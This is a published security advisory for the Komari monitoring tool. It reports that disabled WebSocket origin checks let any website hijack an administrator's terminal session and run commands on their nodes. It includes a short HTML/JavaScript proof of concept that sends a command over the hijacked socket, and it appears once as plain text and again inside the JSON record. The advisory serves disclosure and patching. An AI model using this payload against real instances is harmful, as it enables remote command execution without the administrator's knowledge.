GHSA-Q355-H244-969H
Vulnerability from github – Published: 2025-08-12 00:13 – Updated: 2025-08-12 00:13
VLAI?
Summary
Komari vulnerable to Cross-site WebSocket Hijacking
Details
Summary
WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users
Details
https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35
Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution
PoC
- Login in to your komari instance
- Hosting the following HTML code on internet, replace
<komari-addr>and<target-uuid>into yours - Visit this HTML page, you can see your node is executing
uptimewithout your actions
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>
Impact
An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/komari-monitor/komari"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250809073044-53171affcaf0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1385"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-12T00:13:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nWebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users\n\n### Details\n\nhttps://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nAny third party website can send requests to the terminal websocket endpoint with browser\u0027s cookies, resulting in remote code execution\n\n### PoC\n\n1. Login in to your komari instance\n2. Hosting the following HTML code on internet, replace `\u003ckomari-addr\u003e` and `\u003ctarget-uuid\u003e` into yours\n3. Visit this HTML page, you can see your node is executing `uptime` without your actions\n\n```\n\u003cpre\u003e\u003c/pre\u003e\n\u003cscript\u003e\nconst socket = new WebSocket(\"wss://\u003ckomari-addr\u003e/api/admin/client/\u003ctarget-uuid\u003e/terminal\");\nsocket.addEventListener(\"open\", (event) =\u003e {\n const binaryBlob = new Blob([\u0027uptime\\n\u0027], { type: \u0027application/octet-stream\u0027 });\n socket.send(binaryBlob);\n});\nsocket.addEventListener(\"message\", (event) =\u003e {\n event.data.text().then(x =\u003e {document.querySelector(\"pre\").append(x)});\n});\n\u003c/script\u003e\n```\n\n### Impact\n\nAn administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.",
"id": "GHSA-q355-h244-969h",
"modified": "2025-08-12T00:13:29Z",
"published": "2025-08-12T00:13:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h"
},
{
"type": "WEB",
"url": "https://github.com/komari-monitor/komari/commit/53171affcaf050145810efaaef420651a6e630be"
},
{
"type": "PACKAGE",
"url": "https://github.com/komari-monitor/komari"
},
{
"type": "WEB",
"url": "https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35"
},
{
"type": "WEB",
"url": "https://github.com/komari-monitor/komari/releases/tag/1.0.4-fix2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Komari vulnerable to Cross-site WebSocket Hijacking"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…